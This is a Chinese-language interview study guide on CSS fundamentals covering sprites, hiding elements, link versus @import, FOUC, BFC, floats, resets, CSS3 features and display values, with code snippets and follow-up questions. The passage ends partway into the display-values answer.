  • 把一堆小图标拼成一张大图,用 background-position 挪到想要的那一块显示
  • 当年的好处:HTTP/1.1 下同域名只有 6 个并发连接,N 个小图请求压成 1 个
  • 坏处:加或改一个图标要重新拼图、改坐标;整张图要全部解码进内存;改色、适配高清屏都麻烦
  • HTTP/2 多路复用之后,合并请求的收益基本没了,雪碧图算历史方案
  • 现在的做法:图标用 SVG(组件化或 <symbol> 做 SVG sprite),换色靠 fill: currentColor

雪碧图就是把很多小图拼成一张,用背景定位只露出需要的那块,核心目的是省请求。 像一张贴纸板,你只透过一个小窗口看其中一张贴纸。在 HTTP/1.1 时代很值,因为每个请求都要排队,同域名同时只能开 6 个连接。但它维护起来很痛苦,改一个图标要重排整张图,坐标全要跟着改。到了 HTTP/2,多个请求在一条连接里并发,省请求这个卖点基本没了。现在我做图标一律用 SVG,矢量不糊,还能用 currentColor 跟着文字变色。

.icon { width: 16px; height: 16px; background: url(sprite.png) no-repeat; }
.icon-home { background-position: 0 0; }
.icon-user { background-position: -16px 0; } /* 往左挪 16px,露出第二个图标 */

CSS Sprite(CSS精灵)是一种将多个小图片合并到一张大图中的技术。通过在页面中引用这张大图,并设置合适的background-position和尺寸,可以显示出所需的小图标或背景图案。

优点:

  • 减少HTTP请求数:将多个小图片合并成一张大图,减少了浏览器与服务器之间的请求次数,提高了页面加载速度。
  • 提高性能:由于减少了请求数,减少了网络传输时间和延迟,加快了页面加载速度,提升了用户体验。
  • 减小图片大小:合并后的大图可以使用更高效的压缩算法进行压缩,减小了图片的文件大小。
  • 方便更换风格:只需要替换或修改一张大图中的小图标或背景图案,就可以改变整个页面的样式,维护和更换风格更加方便。

缺点:

  • 图片合并麻烦:合并图片需要手动调整和拼接小图标或背景图案,需要一定的工作量。
  • 维护麻烦:如果需要修改其中一个小图标或背景图案,可能需要重新布局整个大图,并且需要更新相应的CSS样式。

总结:CSS Sprite通过将多个小图片合并成一张大图,减少了HTTP请求,提高了页面加载速度和性能。它的优点包括减少请求数、提高性能、减小图片大小和方便更换风格。然而,它的缺点在于图片合并和维护的麻烦。

💬 面试官追问

  • 新项目还要不要做雪碧图?

    一般不做。站点上了 HTTP/2,几十个小图标并发请求开销很小;图标用 SVG 组件或 iconfont 更好维护。只有还跑在 HTTP/1.1 的老服务上,才值得考虑。

  • 雪碧图在 Retina 屏上发虚,怎么处理?

    准备一张 2x 尺寸的大图,再用 background-size 缩回 1x 的尺寸,比如原图 64px 宽就写 background-size: 32px auto,坐标也按 1x 写。说到底这种麻烦正是改用 SVG 的理由。

  • 为了一个 16px 的图标,整张 200KB 的雪碧图都得下载,划算吗?

    首页只用了两三个图标时不划算,还拖慢首屏。雪碧图只适合「这一页大部分图标都会用到」的场景,不然就按页面拆,或者干脆换 SVG 按需引入。

  • SVG sprite 和 PNG 雪碧图有什么区别?

    SVG sprite 是把多个图标写成 <symbol>,用的时候 <svg><use href="#icon-home"/></svg> 引用,不用算坐标,矢量不糊,还能用 CSS 改颜色。PNG 那种只能靠背景定位,换个颜色就得再出一套图。

# 2 display: none;与visibility: hidden;的区别

⚡ 30 秒速记

  • display: none:不占位、不能点、读屏跳过,切换会触发重排
  • visibility: hidden:位置还留着、不能点、读屏也跳过,切换一般只重绘
  • opacity: 0:位置留着、还能点、读屏还会读,常是「幽灵按钮」的来源
  • visibility 会继承,子元素写 visibility: visible 能单独露出来;display: none 的子孙怎么写都出不来
  • 过渡动画:display 不能过渡,visibility 能配合 opacity 做淡出后再隐藏

display: none 是把元素从布局里整个拿掉,visibility: hidden 是让它隐身但位置还占着。 好比开会,display: none 是人走了、椅子也撤了,旁边的人会挪过来;visibility: hidden 是人隐身了、椅子还在。所以前者会引起周围元素重新布局,后者一般只重绘。两者读屏器都会跳过,这点很多老资料写错了,说 visibility: hidden 会被读,其实不会。想「看不见但读屏能读」要用 sr-only 那套裁剪写法。

<div style="visibility: hidden">
  父元素隐藏
  <span style="visibility: visible">子元素依然显示</span>
</div>
<div style="display: none">
  <span style="display: block">怎么写都出不来</span>
</div>

display: none;和visibility: hidden;都可以使元素不可见,但它们在实现上有一些区别。

区别:

  • display: none;会使元素完全从渲染树中消失,不占据任何空间,而visibility: hidden;不会使元素从渲染树中消失,仍然占据空间,只是内容不可见。
  • display: none;是非继承属性,子孙节点消失是因为元素本身从渲染树中消失,修改子孙节点的属性无法使其显示。而visibility: hidden;是继承属性,子孙节点消失是因为继承了hidden属性,通过设置visibility: visible;可以使子孙节点显示。
  • 修改具有常规流的元素的display属性通常会导致文档重排(重新计算元素的位置和大小)。而修改visibility属性只会导致本元素的重绘(重新绘制元素的可见部分)。
  • 读屏器(屏幕阅读软件)不会读取display: none;元素的内容,但会读取visibility: hidden;元素的内容。

综上所述,display: none;和visibility: hidden;虽然都可以使元素不可见,但在元素在渲染树中的位置、对子孙节点的影响、性能方面有所不同。选择使用哪种方式取决于具体的需求和场景。

💬 面试官追问

  • 弹窗关闭后页面上有块透明区域点不了,最可能是什么原因?

    关闭时只把 opacity 设成 0,元素还在原处盖着并且能接收点击。要么加 pointer-events: none,要么动画结束后补一个 visibility: hidden 或 display: none。

  • 想让弹窗淡出,为什么直接切 display: none 没有过渡效果?

    display 是离散属性,传统上没法插值,一切就没了。常见写法是 opacity 和 visibility 一起过渡:transition: opacity .3s, visibility 0s .3s,visibility 延迟到淡出结束才切。新版 Chrome 支持 transition-behavior: allow-discrete,可以直接过渡 display,但要看兼容性。

  • 只想给读屏用户一段文字,视觉上不显示,用哪个?

    三个都不行,display: none 和 visibility: hidden 读屏都会跳过。用 sr-only 写法:position: absolute; width: 1px; height: 1px; overflow: hidden; clip-path: inset(50%)。

  • Tab 列表频繁切换,用 display: none 还是 visibility: hidden?

    一般用 display: none,隐藏的面板不该占位置。切换的重排成本对普通页面可以忽略;面板内容很重时,与其纠结这个,不如考虑懒渲染或者 content-visibility。

  • display: none 的元素能拿到宽高吗?

    拿不到,offsetWidth、getBoundingClientRect() 都是 0,因为它根本没参与布局。需要先测量尺寸的场景,临时用 visibility: hidden 加 position: absolute 渲染出来再量。

# 3 link与@import的区别

⚡ 30 秒速记

  • <link> 是 HTML 标签,@import 是 CSS 语法,必须写在样式表最前面(@charset 之后)
  • 加载:<link> 被预加载扫描器提前发现、并行下载;@import 要等外层 CSS 下载解析完才发现,多一轮串行往返
  • <link> 能被 JS 动态插入、能设 media、disabled、rel="preload";@import 只能带 media / supports() / layer() 条件
  • 「老浏览器不支持 @import」这条早就过时了,不用再提
  • 结论:运行时一律 <link>;@import 留给 Sass / PostCSS 在构建期内联掉

两者都能引入样式,但 @import 会造成串行加载,所以生产环境一律用 <link>。 浏览器拿到 HTML 就能看到所有 <link>,同时开始下载;而 @import 藏在 CSS 文件里,得先把外层 CSS 下回来、解析到这一行,才知道还要下另一个,嵌套几层就多几轮网络往返,首屏渲染就被拖住。现在写 Sass 的 @use 或 @import 没问题,构建时会被合并成一个文件,不会留到浏览器里。原生 @import 现在还有个新用途: @import url(x.css) layer(base) 配合级联层管理优先级。

<!-- 并行:a.css 和 b.css 同时下载 -->
<link rel="stylesheet" href="a.css">
<link rel="stylesheet" href="b.css">

<!-- 串行:main.css 下载解析完才开始下 b.css -->
<link rel="stylesheet" href="main.css"> <!-- main.css 里写了 @import url(b.css); -->
时序图 · 3 个参与者 / 9 步
alt b.css 慢或失败正常返回HTML 解析器HTML 解析器网络网络渲染渲染发现 link a.css,开始下载1发现 link main.css,同时下载2a.css 返回3main.css 返回4解析 main.css,读到 @import b.css5这时才开始下载 b.css6首屏一直等待7b.css 返回8样式齐了,开始首次渲染9
  1. <link>是HTML方式,@import是CSS方式。<link>标签在HTML文档的<head>部分中使用,用于引入外部CSS文件;@import是在CSS文件中使用,用于引入其他CSS文件。
  2. <link>标签最大限度地支持并行下载,浏览器会同时下载多个外部CSS文件;而@import引入的CSS文件会导致串行下载,浏览器会按照顺序逐个下载CSS文件,这可能导致页面加载速度变慢,出现FOUC(Flash of Unstyled Content)问题。
  3. <link>标签可以通过rel="alternate stylesheet"指定候选样式表,用户可以在浏览器中切换样式;而@import不支持rel属性,无法提供候选样式表功能。
  4. 浏览器对<link>标签的支持早于@import,一些古老的浏览器可能不支持@import方式引入CSS文件,而可以正确解析<link>标签。
  5. @import必须出现在样式规则之前,而且只能在CSS文件的顶部引用其他文件;而<link>标签可以放置在文档的任何位置。
  6. 总体来说,<link>标签在性能、兼容性和灵活性方面优于@import。

因此,在实际使用中,推荐使用<link>标签来引入外部CSS文件。

💬 面试官追问

  • @import 写在 CSS 文件中间会怎样?

    直接被忽略。@import 必须出现在所有普通规则之前,前面只能有 @charset 和 @layer 声明。很多「样式没生效」的问题就是合并文件时把它挤到了中间。

  • Sass 里大量用 @import,会有性能问题吗?

    浏览器层面没有,Sass 编译时就把文件内容合进来了,产物里没有 @import。不过 Sass 官方已经废弃 @import,Dart Sass 3.0 会移除,新代码要换成 @use / @forward。

  • 想做夜间模式切换,用哪种方式加载主题样式?

    用 <link>,可以 JS 动态插入或者切换 disabled 属性,@import 做不到动态控制。不过现在更常见的做法是 CSS 变量加 [data-theme="dark"] 选择器,不用再加载额外文件。

  • Lighthouse 报「避免链式关键请求」,跟 @import 有关系吗?

    很可能有。@import 正是典型的请求链:HTML → main.css → b.css。把 @import 改成 <link> 或者构建期合并,链就断了。

# 4 什么是FOUC?如何避免

⚡ 30 秒速记

  • FOUC = 无样式内容闪烁:先露一眼裸 HTML,样式再套上来
  • 根因:样式到得比内容晚,比如 <link> 写在 <body> 后面、@import 串行加载、JS 异步注入样式
  • 解法:样式表放 <head> 用 <link>,让它阻塞首次渲染(这里阻塞是好事);首屏关键 CSS 内联
  • SSR / CSS-in-JS 场景:服务端要把样式一起输出到 <head>,否则客户端注水前会闪(Next.js + antd 就要配 AntdRegistry)
  • 相近的问题:字体闪烁 FOUT / FOIT、暗色模式白闪,思路都是「渲染前就把东西准备好」

FOUC 就是页面先闪一下没有样式的样子,然后突然变正常,根因是 HTML 渲染时样式还没到。 浏览器默认会等 <head> 里的样式表下载完再画第一帧,所以老老实实把 <link> 放 <head> 一般不会闪。出问题多半是在「绕过」这个机制:样式放在 body 底部、用 @import 嵌套、或者 CSS-in-JS 在客户端才插样式。SSR 项目最常见,服务端吐的 HTML 没带样式,要等 JS 跑起来才注入,中间那一下就是闪烁。我的处理是关键样式内联进 <head>,CSS-in-JS 一定配服务端样式收集。

时序图 · 3 个参与者 / 9 步
alt link 写在 head 里样式晚到(body 底部或 JS 注入)浏览器浏览器服务器服务器渲染渲染请求 HTML1返回 HTML2下载 CSS,首次渲染先等着3CSS 返回4带样式画出第一帧5先画出无样式页面6再去拿 CSS7CSS 返回8重新渲染,用户看到闪一下9

FOUC(Flash Of Unstyled Content)指的是在页面加载过程中,由于外部样式表(CSS)加载较慢或延迟,导致页面先以无样式的方式显示,然后突然闪烁出样式的现象。

为了避免FOUC,可以采取以下方法:

  1. 将样式表放置在文档的<head>标签中:通过将样式表放在文档头部,确保浏览器在渲染页面内容之前先加载和解析样式表,从而避免了页面一开始的无样式状态。
  2. 使用内联样式:将关键的样式直接写在HTML标签的style属性中,这样即使外部样式表加载延迟,页面仍然可以有基本的样式展示,避免出现完全无样式的情况。
  3. 使用样式预加载:在HTML的<head>中使用<link rel="preload">标签,将样式表提前预加载,以确保在页面渲染之前样式表已经下载完毕。
  4. 避免过多的样式表和样式文件:减少页面中使用的样式表数量和样式文件大小,优化样式表的结构和规则,从而加快样式表的加载速度。
  5. 使用媒体查询避免不必要的样式加载:通过媒体查询(@media)在适当的条件下加载特定的样式,避免在不需要的情况下加载不必要的样式。

综上所述,通过优化样式加载顺序、使用内联样式、样式预加载和合理使用媒体查询等方法,可以有效避免FOUC的出现,提供更好的用户体验。

💬 面试官追问

  • Next.js 页面刷新时 antd 组件先是原生样式再变好看,怎么修?

    antd 用 CSS-in-JS,样式是客户端运行时生成的,服务端 HTML 里没有。要用 @ant-design/nextjs-registry 的 AntdRegistry 包住根布局,在服务端收集样式写进 <head>。

  • 暗色模式的站点,刷新时先白闪一下再变黑,为什么?

    主题是在 React 挂载后读 localStorage 才设置的,第一帧已经按亮色画了。在 <head> 里放一段同步内联脚本,渲染前就给 <html> 加上 class="dark"。

  • 为了快,把 CSS 改成 <link rel="preload" as="style"> 异步加载,会有问题吗?

    会闪。preload 只下载不应用,样式加载完前页面已经画出来了。这招只适合非关键样式,关键样式要么正常 <link>,要么内联。

  • 自定义字体加载时文字先是系统字体再跳变,也算 FOUC 吗?

    这叫 FOUT,同类问题。用 font-display: swap 保证文字先显示,再 <link rel="preload" as="font" crossorigin> 提前下字体,用 size-adjust 调兜底字体尺寸,让跳变不明显。

# 5 如何创建块级格式化上下文(block formatting context),BFC有什么用

⚡ 30 秒速记

  • BFC = 块级格式化上下文,一块独立布局区域,里面怎么排不影响外面
  • 触发:display: flow-root、overflow 非 visible、float 非 none、position: absolute/fixed、inline-block、table-cell;flex / grid 的子项也会
  • position: relative / sticky 不会创建 BFC,很多资料写错了
  • 三个用途:包住浮动(清浮动)、不和外面的浮动重叠(自适应两栏)、隔断外边距合并
  • 首选 display: flow-root,专门为建 BFC 设计,没有 overflow: hidden 的裁剪副作用

BFC 可以理解成一个「独立房间」,房间里的布局怎么折腾都不影响外面。 它有三条实用规则:算自己高度时会把浮动的子元素算进去,所以能解决父元素高度塌陷;自己的区域不和外面的浮动元素重叠,所以左边浮动、右边建 BFC 就能自适应两栏;外边距合并只发生在同一个 BFC 里,分到两个房间就不叠了。创建方式很多,但我现在只用 display: flow-root,以前大家用 overflow: hidden,副作用是会把阴影和下拉菜单一起切掉。

.parent { display: flow-root; } /* 包住浮动子元素,高度不再塌陷 */
.side { float: left; width: 200px; }
.main { display: flow-root; }   /* 不钻到浮动元素底下,自动占满剩余宽度 */

BFC(Block Formatting Context),块级格式化上下文,是一个独立的渲染区域,让处于 BFC 内部的元素与外部的元素相互隔离,使内外元素的定位不会相互影响

要创建一个块级格式化上下文(BFC),可以应用以下方法:

  1. 使用float属性:将元素的float属性设置为除none以外的值,可以创建一个BFC。
  2. 使用overflow属性:将元素的overflow属性设置为除visible以外的值,例如auto或hidden,可以创建一个BFC。
  3. 使用display属性:将元素的display属性设置为inline-block、table-cell、table-caption等特定的值,可以创建一个BFC。
  4. 使用position属性:将元素的position属性设置为absolute、fixed、relative或sticky,可以创建一个BFC。
  5. 使用contain属性:将元素的contain属性设置为layout,可以创建一个BFC(仅适用于部分浏览器)。

在IE下, Layout,可通过zoom:1 触发

BFC布局与普通文档流布局区别 普通文档流布局:

  • 浮动的元素是不会被父级计算高度
  • 非浮动元素会覆盖浮动元素的位置
  • margin会传递给父级元素
  • 两个相邻元素上下的margin会重叠

BFC布局规则:

  • 浮动的元素会被父级计算高度(父级元素触发了BFC)
  • 非浮动元素不会覆盖浮动元素的位置(非浮动元素触发了BFC)
  • margin不会传递给父级(父级触发BFC)
  • 属于同一个BFC的两个相邻元素上下margin会重叠

开发中的应用

  • 阻止margin重叠
  • 可以包含浮动元素 —— 清除内部浮动(清除浮动的原理是两个 div都位于同一个 BFC 区域之中)
  • 自适应两栏布局
  • 可以阻止元素被浮动元素覆盖

💬 面试官追问

  • 给父元素加 position: relative,能不能清浮动?

    不能。relative 不会创建 BFC,父元素高度照样塌。不少老资料把 relative、sticky 列进触发条件,这是错的,只有 absolute 和 fixed 会。

  • 子元素的 margin-top 把父元素一起顶下来了,怎么办?

    这是父子外边距合并,父元素没有 border、padding 隔开时,子元素的上边距会「穿透」出去。给父元素 display: flow-root 建 BFC 就断了,或者给父元素加 padding-top 代替子元素的 margin。

  • 用 overflow: hidden 清浮动后,卡片的阴影被切掉了,怎么改?

    换成 display: flow-root,只建 BFC 不裁剪。overflow: hidden 清浮动只是个副作用,它的本职是裁剪溢出内容,阴影、下拉菜单、tooltip 都会被切。

  • display: flow-root 兼容性怎么样?

    现代浏览器全支持(Chrome 58、Safari 13 起),IE 不支持。还要兼容 IE 的项目,用 ::after 的 clearfix 兜底。

# 6 display、float、position的关系

⚡ 30 秒速记

  • 判断顺序:display: none → 什么都不生效;absolute/fixed → float 被强制成 none;float 非 none;最后是根元素
  • 后三种情况 display 都会被「块级化」:inline / inline-block → block,inline-table → table,inline-flex → flex
  • 所以给 span 加了 float 或 absolute,不用再写 display: block 就能设宽高
  • 一句话:脱离常规流的盒子都是块级的
  • 例外:flex / grid 子项上的 float 直接无效,子项本身也会被块级化

三个属性有固定的优先级:display: none 最大,其次是绝对定位,再是浮动。 display: none 时元素连盒子都不生成,position 和 float 写了也白写。position 是 absolute 或 fixed 时,float 会被算成 none,也就是同时写定位和浮动,浮动直接失效。只要元素绝对定位或者浮动了,它的 display 都会被转成块级,所以一个 span 加了 float: left 就能直接设宽高。用 getComputedStyle 看一眼就能验证。

// <span id="s" style="float:left"></span>
getComputedStyle(s).display // "block",不是 "inline"
// <span id="t" style="position:absolute; float:right"></span>
getComputedStyle(t).float   // "none",绝对定位把浮动干掉了
  • 如果display取值为none,那么position和float都不起作用,这种情况下元素不产生框
  • 否则,如果position取值为absolute或者fixed,框就是绝对定位的,float的计算值为none,display根据下面的表格进行调整。
  • 否则,如果float不是none,框是浮动的,display根据下表进行调整
  • 否则,如果元素是根元素,display根据下表进行调整
  • 其他情况下display的值为指定值
  • 总结起来:绝对定位、浮动、根元素都需要调整display

综上所述,display、float和position之间存在一定的关系,它们的取值会相互影响元素的布局和显示方式。根据不同的取值组合,元素的display值可能会被调整。

💬 面试官追问

  • 一个元素同时写了 position: absolute 和 float: left,最后靠哪边?

    按定位走,float 计算值变成 none,完全不起作用。位置由 top、left 这些属性决定。

  • 给 span 写了 width: 100px 没效果,加了 position: absolute 就有了,为什么?

    绝对定位会把 display 块级化,inline 变成 block,块级盒子才能设宽高。float 也有同样效果。

  • flex 容器的子项写 float: left 有用吗?

    没用。flex 子项的 float 和 clear 都会被忽略,子项的排列完全由 flex 规则决定。老代码迁 flex 时这些 float 可以放心删。

  • display: inline-flex 的元素浮动之后,display 变成什么?

    变成 flex。块级化只是把「外部显示类型」从行内改成块级,内部的布局方式(flex)保持不变。

# 7 清除浮动的几种方式,各自的优缺点

⚡ 30 秒速记

  • 首选 display: flow-root:父元素建 BFC,包住浮动,无副作用(IE 不支持)
  • 兼容老浏览器用 clearfix:::after { content: ""; display: block; clear: both; },IE6/7 再加 zoom: 1
  • overflow: hidden / auto:写法短,但会裁剪阴影、下拉菜单,或者冒出滚动条
  • 空 div / br 加 clear: both:能用,但污染结构;父元素定高、父元素也浮动:不灵活,别用
  • 新布局直接 flex / grid,不会有塌陷问题;清浮动主要是维护老代码和图文环绕时用

清浮动就两条思路:要么在浮动元素后面放一个 clear: both 的东西,要么让父元素建 BFC 把浮动包进去。 第一种的最佳写法是 ::after 伪元素,不用在 HTML 里加空标签,老项目里那个 .clearfix 就是它。第二种现在最干净的是 display: flow-root,以前用 overflow: hidden,但它会把超出的阴影、弹出菜单一起裁掉,线上踩这个坑的人不少。父元素定高、父元素也浮动这两种只是把问题往外挪了,不推荐。说实话新项目用 flex 布局,根本不会遇到这个问题。

/* 老项目通用 */
.clearfix::after { content: ""; display: block; clear: both; }
/* 现代浏览器 */
.wrap { display: flow-root; }

以下是清除浮动的几种常见方式以及它们的优缺点:

  1. 父级 div 定义 height: 将父级容器的高度设置为已浮动元素的高度。优点是简单易实现,缺点是需要提前知道浮动元素的高度,如果高度发生变化,需要手动调整。
  2. 结尾处加空 div 标签 clear:both: 在浮动元素后面添加一个空的 div 标签,并设置 clear:both。优点是简单易实现,缺点是需要添加多余的空标签,不符合语义化。
  3. 父级 div 定义伪类 :after 和 zoom: 父级容器使用伪元素 :after 清除浮动,并设置 zoom:1 触发 hasLayout。优点是不需要额外添加多余的标签,清除浮动效果好,缺点是对老版本浏览器的兼容性需要考虑。
  4. 父级 div 定义 overflow:hidden: 将父级容器的 overflow 属性设置为 hidden。优点是简单易实现,不需要添加额外的标签,缺点是可能会造成内容溢出隐藏。
  5. 父级 div 也浮动,需要定义宽度: 将父级容器也设置为浮动,并定义宽度。优点是清除浮动效果好,缺点是需要定义宽度,不够灵活。
  6. 结尾处加 br 标签 clear:both: 在浮动元素后面添加 br 标签,并设置 clear:both。和第2种方式类似,优缺点也相似。
  7. 使用 clearfix 类: 在父级容器上应用 clearfix 类,该类包含伪元素清除浮动。优点是代码简洁易懂,不需要额外添加标签,缺点是需要定义并引用 clearfix 类。

总体而言,使用伪类 :after 和 zoom 的方式是较为常见和推荐的清除浮动的方法,它可以避免添加多余的标签,并具有较好的兼容性。然而,不同场景下适合使用不同的清除浮动方式,需要根据实际情况选择合适的方法。

💬 面试官追问

  • clearfix 里的 display: block 能换成 inline 吗?

    不能。clear 只对块级元素生效,伪元素默认是 inline,必须改成 block 或 table。

  • 为什么有的 clearfix 写 ::before 和 ::after 两个伪元素?

    那是 Bootstrap 那一版,::before 加 display: table 是为了同时阻止父元素和第一个子元素的上外边距合并。只为清浮动的话,一个 ::after 就够了。

  • 用 overflow: auto 清浮动,页面突然多了滚动条,为什么?

    子元素有负 margin 或者绝对定位的东西超出了父元素,auto 就会出滚动条。换 display: flow-root,它不处理溢出。

  • IE 时代的 zoom: 1 是干什么的?

    触发 IE6/7 私有的 hasLayout,效果类似 BFC,让父元素包住浮动。现在不用兼容那么老的 IE 了,可以删。

# 8 为什么要初始化CSS样式?

⚡ 30 秒速记

  • 浏览器默认样式各不相同:body 的 8px 外边距、标题字号、列表缩进、表单控件外观都不一样
  • 三种路线:Reset(全清零)、Normalize(保留有用的默认值,只抹差异)、现代轻量 reset(modern-normalize 那种)
  • 别无脑全清:* { margin: 0; padding: 0 } 会把列表缩进、表单样式都干掉,得一个个补回来
  • 用了 Tailwind 就已经有 Preflight,别再叠一份 reset
  • 必写的几条:*, ::before, ::after { box-sizing: border-box }、img { display: block; max-width: 100% }、body { margin: 0 }

初始化样式就是先把各浏览器自带的默认样式统一掉,让大家从同一个起点开始写。 比如 body 默认有 8px 外边距,button 在 Safari 和 Chrome 里长得不一样,h1 嵌在 section 里字号还会变。不处理的话,同一份代码在不同浏览器里就差几个像素。早年流行全部清零的 Reset,现在更多用 Normalize,它只修差异、保留合理的默认值,后面要补的样式少很多。至于「初始化能提升性能」这种说法,基本不成立,别拿来答。

*, *::before, *::after { box-sizing: border-box; }
body { margin: 0; line-height: 1.5; }
img, svg, video { display: block; max-width: 100%; }
button, input, select, textarea { font: inherit; } /* 表单默认不继承字体 */

初始化 CSS 样式的目的主要有以下几点:

  1. 浏览器兼容性: 不同浏览器对于 HTML 元素的默认样式存在差异,通过初始化 CSS 样式,可以尽量消除不同浏览器之间的显示差异,使页面在各个浏览器中更加一致。
  2. 统一样式: 通过初始化 CSS 样式,可以为各个元素提供一个统一的基础样式,避免默认样式的影响。这有助于开发者在项目中构建一致的界面风格,提高开发效率。
  3. 提高可维护性: 初始化 CSS 样式可以避免在编写具体样式时受到浏览器默认样式的干扰,减少不必要的样式覆盖和调整,从而提高代码的可维护性和可读性。
  4. 优化性能: 通过初始化 CSS 样式,可以避免不必要的样式计算和渲染,减少浏览器的工作量,提升页面加载和渲染性能。

需要注意的是,在进行 CSS 样式初始化时,应该注意选择合适的方式和范围,避免过度初始化造成不必要的代码冗余和性能损耗。同时,针对具体项目和需求,可以选择使用已有的 CSS 初始化库或者自定义初始化样式。

💬 面试官追问

  • * { margin: 0; padding: 0; } 这种写法有什么问题?

    清得太狠。列表缩进、p 段落间距、fieldset 这些合理的默认值全没了,后面要一个个补;选择器 * 的性能影响倒是可以忽略。

  • 项目用了 Tailwind,还要不要引 normalize.css?

    不用。Tailwind 自带 Preflight,本身就是基于 modern-normalize 改的,再叠一份只会让两套规则互相覆盖。

  • 为什么 input 里的字体和页面不一样?

    表单控件默认不继承父元素的字体,用的是系统控件字体。初始化里加 button, input, select, textarea { font: inherit; } 就统一了。

  • Reset 和 Normalize 选哪个?

    大多数项目选 Normalize 或者它的现代版。Reset 适合设计稿完全自定义、所有元素都要重写样式的场景,不然清完还得补,等于白干。

  • 图片底下总有几像素的缝,跟初始化有关吗?

    有关。img 默认是 inline,按文字基线对齐,下面留着给字母下伸部分的空间。初始化里给 img 写 display: block 就没了。

# 9 css3有哪些新特性

⚡ 30 秒速记

  • 选择器:属性选择器、:nth-child()、:not()、:checked、::before 双冒号伪元素
  • 布局:box-sizing、flex、grid、多列 column-count、媒体查询 @media
  • 视觉:border-radius、box-shadow、渐变、多背景、rgba()、@font-face
  • 动画:transform、transition、@keyframes + animation
  • 加分点:已经没有 CSS4 了,CSS3 之后按模块独立演进;近几年值得提的是 CSS 变量、:has()、@container、aspect-ratio、clamp()、@layer
  • 原资料里的 box-reflect、text-stroke 是带 -webkit- 前缀的非标准属性,别当标准讲

CSS3 新特性我一般分四块讲:选择器、布局、视觉效果、动画。 选择器多了 :nth-child()、:not() 这些结构伪类;布局有了 flex、grid 和媒体查询,响应式不用再靠 float 硬拼;视觉上圆角、阴影、渐变以前都要切图,现在一行 CSS 搞定;动画靠 transition 和 @keyframes,配合 transform 能跑在合成线程上。最后我会补一句:「CSS3」这个说法其实已经过时了,现在每个模块单独出版本,近几年真正改变写法的是 CSS 变量、:has() 和容器查询。

.card { aspect-ratio: 16 / 9; padding: clamp(12px, 2vw, 24px); }
.form:has(input:invalid) .submit { opacity: .5; } /* 父选择器,以前只能靠 JS */
@container (min-width: 400px) { .card { display: flex; } }

CSS3引入了许多新特性,以下是其中一些常见的新特性:

  1. 新增选择器:例如:nth-child()、:first-of-type、:last-of-type等,可以根据元素在父元素中的位置进行选择。
  2. 弹性盒模型:通过display: flex;可以创建弹性布局,简化了元素的排列和对齐方式。
  3. 多列布局:使用column-count和column-width等属性可以实现将内容分为多列显示。
  4. 媒体查询:通过@media可以根据设备的特性和屏幕大小应用不同的样式规则。
  5. 个性化字体:使用@font-face可以引入自定义字体,并在网页中使用。
  6. 颜色透明度:通过rgba()可以设置颜色的透明度。
  7. 圆角:使用border-radius可以给元素添加圆角效果。
  8. 渐变:使用linear-gradient()可以创建线性渐变背景效果。
  9. 阴影:使用box-shadow可以为元素添加阴影效果。
  10. 倒影:使用box-reflect可以为元素添加倒影效果。
  11. 文字装饰:使用text-stroke-color可以设置文字描边的颜色。
  12. 文字溢出:使用text-overflow可以处理文字溢出的情况。
  13. 背景效果:使用background-size可以控制背景图片的大小。
  14. 边框效果:使用border-image可以为边框使用图片来创建特殊效果。
  15. 转换:使用transform可以实现元素的旋转、倾斜、位移和缩放等变换效果。
  16. 平滑过渡:使用transition可以为元素的属性变化添加过渡效果。
  17. 动画:通过@keyframes和animation可以创建元素的动画效果。

CSS3引入了许多新的伪类,以下是一些常见的新增伪类:

  1. :nth-child(n):选择父元素下的第n个子元素。
  2. :first-child:选择父元素下的第一个子元素。
  3. :last-child:选择父元素下的最后一个子元素。
  4. :nth-of-type(n):选择父元素下特定类型的第n个子元素。
  5. :first-of-type:选择父元素下特定类型的第一个子元素。
  6. :last-of-type:选择父元素下特定类型的最后一个子元素。
  7. :only-child:选择父元素下仅有的一个子元素。
  8. :only-of-type:选择父元素下特定类型的唯一一个子元素。
  9. :empty:选择没有任何子元素或者文本内容的元素。
  10. :target:选择当前活动的目标元素。
  11. :enabled:选择可用的表单元素。
  12. :disabled:选择禁用的表单元素。
  13. :checked:选择被选中的单选框或复选框。
  14. :focus:选择当前获取焦点的元素。
  15. :hover:选择鼠标悬停在上方的元素。
  16. :visited:选择已访问过的链接。
  17. :not(selector):选择不符合给定选择器的元素。

这些新增的伪类为选择元素提供了更多的灵活性和精确性,使得开发者能够更好地控制和样式化文档中的元素。

💬 面试官追问

  • :has() 为什么被叫做「父选择器」?

    以前 CSS 只能从父往子选,:has() 能根据子元素的状态选中父元素,比如 .card:has(img) 选「包含图片的卡片」。Chrome 105、Safari 15.4、Firefox 121 起都支持了。

  • 媒体查询和容器查询有什么区别?

    媒体查询看视口宽度,容器查询看组件所在容器的宽度。同一张卡片放在侧边栏和主区域里该长得不一样,媒体查询做不到,@container 能做到。

  • CSS 变量和 Sass 变量能互相替代吗?

    不能。Sass 变量编译完就没了,是静态值;CSS 变量活在浏览器里,能被 JS 改、能继承、能在媒体查询里重新赋值,做主题切换只能用它。

  • 做动画为什么推荐 transform 而不是改 left、top?

    改 left 会触发重排,每帧都要重新算布局;transform 只走合成,不碰布局和绘制,交给 GPU 处理,掉帧少得多。

  • ::before 和 :before 有什么区别?

    没有功能区别。CSS3 规定伪元素用双冒号、伪类用单冒号,以示区分;浏览器为了兼容,单冒号写伪元素也认。新代码写双冒号。

# 10 display有哪些值?说明他们的作用

⚡ 30 秒速记

  • 外部表现:block(独占一行、可设宽高)、inline(随文字排、宽高无效)、inline-block(不换行又能设宽高)、none(不渲染不占位)
  • 内部布局:flex / inline-flex、grid / inline-grid、table 系列、list-item(带列表符号)
  • flow-root:建一个干净的 BFC,清浮动专用
  • contents:自己的盒子消失,子元素直接参与父级布局;早期浏览器会把语义一起抹掉,按钮、列表上慎用
  • 规范里其实是双值语法:display: inline flex = inline-flex,外部类型 + 内部类型

display 决定两件事:这个元素对外是块级还是行内,对内用什么方式排子元素。 比如 inline-flex,对外它像个行内元素跟文字排在一起,对内用 flex 排子元素。常用的就那几个:block 独占一行,inline 跟着文字走、设宽高无效,inline-block 二者兼顾,none 直接不渲染。日常布局基本是 flex 和 grid。冷门但有用的是 flow-root 和 contents,前者清浮动不带副作用,后者能让包装层「消失」,子元素直接成为外层 grid 的格子。

.tag { display: inline-block; width: 60px; } /* 不换行,又能设宽度 */
.wrap { display: contents; } /* 包装层不生成盒子,子元素直接进父级 grid */
.nav { display: inline flex; } /* 双值写法,等同 inline-flex */

display属性用于定义元素应该生成的框类型。以下是常见的display属性值及其作用:

